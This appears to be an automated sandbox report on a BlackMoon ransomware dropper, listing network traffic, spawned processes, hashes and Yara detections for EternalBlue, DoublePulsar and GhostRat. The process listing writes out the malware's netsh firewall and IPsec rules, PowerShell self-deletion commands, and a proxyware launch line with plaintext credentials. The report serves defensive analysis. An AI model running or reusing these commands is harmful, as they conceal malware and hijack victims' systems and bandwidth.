Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	53901	136.243.150.101	443	7432	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-06 12:13:43 UTC	89	OUT	GET /downloads/latest HTTP/1.1 Host: data.traffmonetizer.com Connection: Keep-Alive
2024-07-06 12:13:43 UTC	253	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Sat, 06 Jul 2024 12:13:43 GMT Content-Type: application/octet-stream Content-Length: 9 Last-Modified: Thu, 13 Jun 2024 07:51:56 GMT Connection: close ETag: "666aa51c-9" Accept-Ranges: bytes
2024-07-06 12:13:43 UTC	9	IN	Data Raw: 31 2e 31 2e 33 2e 33 39 0a Data Ascii: 1.1.3.39
2024-07-06 12:13:44 UTC	72	OUT	GET /downloads/Installer.exe HTTP/1.1 Host: data.traffmonetizer.com
2024-07-06 12:13:44 UTC	239	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.0 (Ubuntu) Date: Sat, 06 Jul 2024 12:13:44 GMT Content-Type: text/html Content-Length: 194 Connection: close Location: https://downloads.traffmonetizer.com/downloads/Installer.exe
2024-07-06 12:13:44 UTC	194	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Target ID:	0
Start time:	08:09:52
Start date:	06/07/2024
Path:	C:\Users\user\Desktop\exe1.bin.bak.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\exe1.bin.bak.exe"
Imagebase:	0x400000
File size:	165'888 bytes
MD5 hash:	CE1D781FF2E37B62BC314B53C6DAE49D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:09:54
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static add policy name=Block
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:09:54
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:09:54
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static add filterlist name=Filter1
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:09:54
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:09:54
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:09:54
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:09:54
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:09:54
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:09:54
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:09:54
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:09:55
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static add filteraction name=FilteraAtion1 action=block
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:09:55
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:09:55
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static add rule name=Rule1 policy=Block filterlist=Filter1 filteraction=FilteraAtion1
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:09:55
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:09:55
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static set policy name=Block assign=y
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:09:55
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:09:55
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\Users\user\Desktop\exe1.bin.bak.exe"
Imagebase:	0xdd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:09:55
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:10:07
Start date:	06/07/2024
Path:	C:\Windows\Temp\MpMgSvc.exe
Wow64 process (32bit):	true
Commandline:	"C:\WINDOWS\Temp\MpMgSvc.exe"
Imagebase:	0x400000
File size:	3'338'240 bytes
MD5 hash:	3809C59565787EE7398FE9222D4BD669
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_ETERNALBLUE, Description: Yara detected ETERNALBLUE, Source: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_DoublePulsar, Description: Yara detected DoublePulsar, Source: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: Windows_Exploit_Eternalblue_ead33bf8, Description: unknown, Source: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp, Author: unknown Rule: EquationGroup_Toolset_Apr17_Eternalromance, Description: Detects EquationGroup Tool - April Leak, Source: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp, Author: Florian Roth Rule: Regin_Related_Malware, Description: Malware Sample - maybe Regin related, Source: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp, Author: Florian Roth Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp, Author: ditekSHen
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	08:10:40
Start date:	06/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	08:10:45
Start date:	06/07/2024
Path:	C:\Windows\Temp\Hooks.exe
Wow64 process (32bit):	true
Commandline:	"C:\WINDOWS\Temp\Hooks.exe"
Imagebase:	0x400000
File size:	12'244'992 bytes
MD5 hash:	1AF2DA7B95CDBBD5A18461E5D5FE910A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 0000001A.00000002.2174361493.0000000001BD5000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:10:46
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\svchost.exe -k GraphicsPerfSvcsGroup -s GraphicsPerfSvcs
Imagebase:	0xbb0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 0000001B.00000003.2174119491.0000000002E53000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	08:10:46
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe"
Imagebase:	0xdd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	08:10:46
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\svchost.exe"
Imagebase:	0xbb0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	08:10:46
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=in program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	08:10:46
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	08:10:46
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	08:10:47
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=out program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	08:10:47
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	08:10:47
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall set rule name=Microsoft_ctfmoon new enable=yes
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	08:10:47
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	08:10:49
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name=Microsoft_Edge dir=in program=C:\Windows\Microsoft.NET\Meson.exe action=allow
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	08:10:49
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	08:10:49
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name=Microsoft_Edge dir=out program=C:\Windows\Microsoft.NET\Meson.exe action=allow
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	08:10:49
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	08:10:49
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall set rule name=Microsoft_Edge new enable=yes
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	08:10:50
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	08:10:50
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name=Microsoft_Dcom dir=in program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	08:10:50
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	08:10:51
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name=Microsoft_Dcom dir=out program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	08:10:51
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	08:10:51
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall set rule name=Microsoft_Dcom new enable=yes
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	08:10:51
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	08:10:52
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name=Microsoft_Store dir=in program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	08:10:52
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	08:10:52
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name=Microsoft_Store dir=out program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	08:10:52
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	08:10:52
Start date:	06/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall set rule name=Microsoft_Store new enable=yes
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	08:10:52
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	08:10:53
Start date:	06/07/2024
Path:	C:\Windows\Temp\Wmicc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Temp\Wmicc.exe"
Imagebase:	0x400000
File size:	1'474'560 bytes
MD5 hash:	4935B75F2A23D38527CF3821C9D9DAC3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000037.00000000.2244665996.0000000000424000.00000008.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: C:\Windows\Temp\Wmicc.exe, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Windows\Temp\Wmicc.exe, Author: Joe Security Rule: MALWARE_Win_BlackMoon, Description: Detects executables using BlackMoon RunTime, Source: C:\Windows\Temp\Wmicc.exe, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	08:10:57
Start date:	06/07/2024
Path:	C:\Windows\Microsoft.NET\ctfmoon.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\ctfmoon.exe -email=usax138@protonmail.com -password=123456Aa. -device-name=Win32 -accept-tos
Imagebase:	0xc00000
File size:	9'501'960 bytes
MD5 hash:	1DE26EF85F7218E1DF4ED675FA2B05D4
Has elevated privileges:	true
